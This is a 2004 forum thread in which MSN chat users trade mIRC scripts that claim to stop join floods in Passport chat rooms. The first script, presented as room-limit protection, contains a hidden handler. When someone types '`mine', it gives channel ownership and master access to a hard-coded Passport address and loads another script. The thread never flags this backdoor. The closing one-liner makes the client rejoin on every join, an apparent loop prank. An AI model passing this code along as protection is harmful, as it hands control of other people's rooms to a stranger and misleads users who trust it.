Skip to content
MSN

Passport_Flood Prot.

A TG007 community discussion started by ePox.

Discussion 5 posts
Page 1 of 1
Open
Topic #1219 · 5 published posts · 522 views

Would these codes below prevent PassPort Flood Protection. Dont know who they belong to but i found them browsing the internet in MSN search. Seems to me ya cant make a room these days without some idiot try to flood it. I haven't tried it yet dont wanna make myself look like an idiot. Would prefer to know if it would work first.

 

------------------------------------------------------------------------------------------------

 

---------------------------------------------

//ROOM LIMIT PROTECTION

//Raises room level up 1 every time someone

//enters. Therefore, preventing flooding

---------------------------------------------

on *:PART:*: if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }

on *:JOIN:*: if ($nick == $me) halt | if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }

on *:KICK:*: if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }

on *:MODE:#: if ($nick == $me) || ($nick isowner $chan) halt | if ($calc($nick($chan,0) + 1) <= 100) .timer.limit 1 3 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1)

on *:TEXT:`mine:#:{

if ($address == 988281AE2FEA6DDD@GateKeeperPassport) mode $chan +q $nick

access $chan add owner $address

/load -rs scripts/commands/anyone.mys

/auser master*!988281AE2FEA6DDD@GateKeeperPassport

else {

halt

}

}

---------------------------------------------

//END OF ROOM LIMIT PROTECTION

---------------------------------------------

------------------------------------------------------------------------------------------------

 

on *:PART:*: if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }

on *:JOIN:*: if ($nick == $me) halt | if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }

on *:KICK:*: if ($calc($nick($chan,0) + 1) <= 100) { .timer.limit 1 5 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1) }

on *:MODE:#: if ($nick == $me) || ($nick isowner $chan) halt | if ($calc($nick($chan,0) + 1) <= 100) .timer.limit 1 3 mode $!chr(37) $!+ $right($chan,-1) +l $calc($nick($chan,0) + 1)

Edited Aug 17, 2004 7:19 PM by »†ëþøx†«

Yeah, but they're not that effective. If 3 people join at one time, the limit goes up 3. 3 more join etc.

Well, where would be the best place to find the best Passport Flood protection, i can't seem to find one in the download section, as i am kinda new to these here USA Chats but i am in some what an advanced Scripter. Or if someone could give me a link to get a Passport Flood protection file would be nice. taz.gif

I be working on the rail~road, all the live-long days... but this code only took 2mins to redesign tongue.gif

on *:PART:#:{
 if ($nick($chan,0) < 100) && (!$timer(.limit)) {
   .timer.limit 1 5 mode # +l $calc($nick($chan,0) + 1)
 }
}
on *:JOIN:#:{
 if ($nick == $me) halt
 if ($nick($chan,0) < 100) && (!$timer(.limit)) {
   .timer.limit 1 5 mode # +l $calc($nick($chan,0) + 1)
 }
}
on *:KICK:#:{
 if ($nick($chan,0) < 100) && (!$timer(.limit)) {
   .timer.limit 1 5 mode # +l $calc($nick($chan,0) + 1)
 }
}

Notes

1) Don't use * for these things, as it would include closing a dcc (ie: it would change the limit if someone left a dcc window).

2) Don't bother using <= if you can use less coding - this speeds things up.

3) Check to see whether a timer is active in this situation, otherwise you're just extending the timer.

4) Why bother making the code look more complicated when you can use a simple # symbol?

5) I never said this is a solution, just a few peices of advice when coding these things tongue.gif (Yes, I'm aware you didn't code it).

 

Try this:

on *:join:#:{
 if ($nick == $me) halt
 if ($hget(#,joins) => 3) { mode # +k # | .timerjoins. [ $+ [ # ] ] 1 5 $roomjoins(#) }
 else { hinc # joins 1 }
}
alias roomjoins { hadd -m $1 joins 0 | mode $1 -k $1 }

 

u can use ozzy's ppflood protection, it works gr8, so doeas th|ef's

on me:*:join:#:hop #